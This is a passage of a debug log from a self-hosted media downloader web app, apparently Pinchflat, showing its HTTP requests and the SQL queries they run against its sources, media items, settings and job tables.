idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:12.555 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:20:12.556 [debug] QUERY OK source="media_items" db=0.4ms idle=3.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:20:12.556 [debug] QUERY OK source="sources" db=0.1ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:12.557 [debug] QUERY OK source="media_items" db=0.1ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 22:20:12.557 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:20:12.558 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:12.558 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 22:20:12.559 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:20:12.560 [info] Sent 200 in 10ms 22:20:13.662 [info] GET /app_info 22:20:13.662 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 22:20:13.662 [debug] QUERY OK source="settings" db=0.1ms idle=1104.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.662 [debug] QUERY OK source="settings" db=0.0ms idle=1104.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.663 [debug] QUERY OK source="settings" db=0.0ms idle=1104.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.663 [debug] QUERY OK source="settings" db=0.0ms idle=1104.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.663 [debug] QUERY OK source="settings" db=0.0ms idle=976.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.663 [info] Sent 200 in 1ms 22:20:14.641 [info] GET /media_profiles 22:20:14.641 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 22:20:14.642 [debug] QUERY OK source="media_profiles" db=0.2ms idle=978.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 22:20:14.642 [debug] QUERY OK source="settings" db=0.1ms idle=979.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:14.642 [debug] QUERY OK source="settings" db=0.3ms idle=979.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:14.643 [debug] QUERY OK source="settings" db=0.1ms idle=979.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:14.644 [info] Sent 200 in 3ms 22:20:15.561 [info] GET /sources 22:20:15.561 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:20:15.561 [debug] QUERY OK source="settings" db=0.1ms idle=919.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:15.561 [debug] QUERY OK source="settings" db=0.0ms idle=919.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:15.561 [debug] QUERY OK source="settings" db=0.0ms idle=918.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:15.562 [debug] QUERY OK source="settings" db=0.0ms idle=918.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:15.562 [debug] QUERY OK source="settings" db=0.0ms idle=872.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:15.562 [debug] QUERY OK source="sources" db=0.3ms idle=1.0ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:20:15.563 [debug] QUERY OK source="sources" db=0.7ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:20:15.566 [info] Sent 200 in 5ms 22:20:16.301 [info] GET /sources/1/media/105 22:20:16.302 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "105", "source_id" => "1"} Pipelines: [:browser] 22:20:16.303 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=740.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [105] 22:20:16.304 [debug] QUERY OK source="tasks" db=0.2ms idle=741.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [105] 22:20:16.304 [debug] QUERY OK source="sources" db=0.5ms idle=740.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:16.305 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=740.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [104] 22:20:16.305 [debug] QUERY OK source="settings" db=0.2ms idle=613.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:16.306 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:16.306 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:16.307 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:16.310 [info] Sent 200 in 8ms 22:20:17.054 [info] GET /sources/1/media/109 22:20:17.054 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "109", "source_id" => "1"} Pipelines: [:browser] 22:20:17.055 [debug] QUERY OK source="media_items" db=0.2ms idle=749.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [109] 22:20:17.055 [debug] QUERY OK source="tasks" db=0.1ms idle=749.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [109] 22:20:17.056 [debug] QUERY OK source="sources" db=0.2ms idle=748.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:17.056 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=748.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [108] 22:20:17.057 [debug] QUERY OK source="settings" db=0.1ms idle=364.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.057 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.057 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.058 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:17.060 [info] Sent 200 in 5ms 22:20:17.747 [info] GET /sources/1/media/108 22:20:17.747 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "108", "source_id" => "1"} Pipelines: [:browser] 22:20:17.748 [debug] QUERY OK source="media_items" db=0.4ms idle=690.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [108] 22:20:17.749 [debug] QUERY OK source="tasks" db=0.2ms idle=691.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [108] 22:20:17.749 [debug] QUERY OK source="sources" db=0.3ms idle=691.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:17.750 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=691.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", 